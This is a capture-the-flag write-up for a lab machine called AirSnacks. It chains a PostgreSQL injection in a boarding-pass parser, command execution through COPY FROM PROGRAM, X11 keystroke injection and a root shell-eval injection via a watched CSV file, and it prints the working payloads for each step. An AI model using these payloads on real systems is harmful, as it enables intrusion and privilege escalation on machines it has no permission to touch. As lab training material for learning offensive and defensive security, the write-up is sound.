HTB: AirSnacks write-up

- **OS:** Linux (Ubuntu 22.04)
- **Difficulty:** Medium
- **Flags:** user `[REDACTED-USER-FLAG]` · root `[REDACTED-ROOT-FLAG]`

A custom Flask kiosk app ("AirSnacks Self-Checkout") parses IATA boarding passes and logs each scan with string-formatted SQL. The free-text field is injectable (PostgreSQL, stacked queries), and the DB role has `pg_execute_server_program`, so `COPY ... FROM PROGRAM` gives RCE as `postgres`. From there, the kiosk user runs a graphical session with X11 open to local connections (`xhost LOCAL`), so I inject keystrokes, open a terminal through the openbox menu, and read `user.txt` as `dutyfree-kiosk`. That user is in `pos-ops`, which can write a CSV watched by a root-owned systemd path unit; the script applying it runs `eval` on a field from the CSV, so I get root.

Flags and credentials are redacted as `[REDACTED-...]`.

Recon

Port scan

```
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu
80/tcp  open  http     nginx 1.18.0  -> 301 https://airsnacks.htb/
443/tcp open  ssl/http nginx 1.18.0  -> "AirSnacks Self-Checkout"
```

Add `airsnacks.htb` to `/etc/hosts`.

Web: AirSnacks Self-Checkout

Flask behind nginx. An airport duty-free self-checkout kiosk. No other vhosts, no security headers, session is a signed Flask cookie.

method	path	notes
GET	/browse, /cart	storefront
POST	/cart/add	`{"sku": "..."}`, issues the session
GET	/checkout/boarding-pass	needs a non-empty cart
POST	/checkout/boarding-pass/verify	parses an IATA BCBP barcode
GET	/checkout/pay	"Payment unavailable" (dead end)

`/checkout/boarding-pass/verify` takes `{"raw": "<barcode>"}` and parses an IATA BCBP "format M" boarding pass. Errors come back by IATA item number (`BCBP_ERR_*`), so this is bespoke parsing of attacker input. That is the way in.

Foothold

Building a valid boarding pass

The parser wants the 60-byte mandatory section plus a conditional section: version marker `>5`, item 10 size (0B/18/25/32), the unique field, item 17 size (03/0D/...), the repeated field, then the free-text "for individual airline use". Iterating on the error messages gets you a string that validates:

```
M1DESMARAIS/LUC       EABC123 YULFRAAC 0834 326J001A0025 114>50B0WW6225BAC 03014
```

A valid scan returns an eligibility JWT, a regime, and `exempt`. The regime is always `OFF_AIRPORT` and `exempt` is always false, so the duty-free and payment flow goes nowhere. The bug is in how the scan is logged.

SQL injection in the audit log

The free-text field is interpolated into an `INSERT` with Python `%`-formatting (`audit.py::record_export_evidence`). Backend is PostgreSQL and stacked queries work. A single quote in that field breaks out:

```
# free-text = x';SELECT 1-- -
syntax error at or near ";" ... 'x';SELECT 1-- -
```

Errors are reflected in the JSON `detail`, so extraction is error-based with a cast:

```
-- free-text payload
'||cast((SELECT version()) as int)||'
-- -> invalid input syntax for type integer: "PostgreSQL 18.6 ..."
```

```
current_user = [REDACTED-DB-USER]   (not superuser)
roles        = pg_execute_server_program
```

RCE as postgres

`pg_execute_server_program` allows `COPY ... FROM PROGRAM`, which runs shell commands as the `postgres` OS user. The payload closes the INSERT, stacks the commands, and reads the output back through the same cast-error channel:

```
x');CREATE TEMP TABLE p(o text);COPY p FROM PROGRAM 'id';SELECT cast((SELECT
string_agg(o,chr(10)) FROM p) as int);--
-- -> uid=114(postgres) gid=121(postgres) groups=121(postgres),120(ssl-cert)
```

> Comfort step. `COPY FROM PROGRAM` aborts the transaction if the program exits non-zero, and the BCBP variable-size field is two hex digits, so the conditional section caps at 255 bytes. Create a small SQL function once and call it with base64'd commands to get room for longer payloads.

Privilege escalation

postgres -> dutyfree-kiosk (X11)

`user.txt` is owned by `dutyfree-kiosk`, home `0750`, so `postgres` can't read it. That user runs a graphical session: X on `:0`, openbox, Firefox in `--kiosk`. `xhost` is `LOCAL:`, so any local user connects without a cookie.

```
# on target, as postgres (via SQLi RCE)
DISPLAY=:0 xset -q      # connects
# scrot is present, xdotool is not, python3-Xlib (XTEST) is
```

Firefox is a snap, so `file://` and the Ctrl+O chooser both hit "access denied". The way through is the window manager: inject keystrokes with python-Xlib, show the desktop (Super+d), right-click the root window, and click "Terminal emulator" in the openbox menu. That opens an `xterm` as `dutyfree-kiosk`.

```
# typed into the dutyfree xterm via XTEST
cat /home/dutyfree-kiosk/user.txt > /tmp/df.txt ; chmod 644 /tmp/df.txt
```

Read `/tmp/df.txt` back through the SQLi RCE.

```
user.txt -> [REDACTED-USER-FLAG]
```

dutyfree-kiosk -> root (systemd path unit + eval)

`dutyfree-kiosk` is in `pos-ops`, and `/opt/vrs/data/duty-rates.csv` is `rw-rw-r-- root:pos-ops`. A root-owned path unit watches it:

```
# vrs-duty-apply.path
PathModified=/opt/vrs/data/duty-rates.csv
Unit=vrs-duty-apply.service
# vrs-duty-apply.service has no User= -> runs as root
```

The service runs `apply-duty-rates.sh`, which validates each CSV line then does:

```
eval "${tax_class}=${duty_pct}"
```

`tax_class` is the first field and has no charset check; only the rate fields must be numeric. So a line whose `tax_class` is shell code runs as root. The script uses `set -euo pipefail`, so the payload has to be the first line (no empty line before it) and end assignment-shaped so nothing returns non-zero:

```
cat /root/root.txt>/tmp/rr.txt;chmod 644 /tmp/rr.txt;x,1,1
SPIRITS,45,20
WINE,25,20
...
```

Write the file from the dutyfree xterm, the path unit fires, root runs the eval, and `/tmp/rr.txt` lands world-readable. Read it back as `postgres`.

```
root.txt -> [REDACTED-ROOT-FLAG]
```

Attack chain

```
SQLi (airline_use field)
  -> RCE as postgres (pg_execute_server_program / COPY FROM PROGRAM)
  -> X11 keystroke injection on :0 (xhost LOCAL) -> xterm as dutyfree-kiosk
  -> user.txt
  -> write duty-rates.csv (pos-ops) -> root systemd path unit runs eval
  -> root.txt
```

Three separate design bugs: string-formatted SQL plus an over-privileged DB role, an X session open to local connections, and a root service running `eval` on a group-writable file.

> Note. The box runs Sysmon for Linux and laurel (auditd), so every command here is logged. On a real target this chain is loud.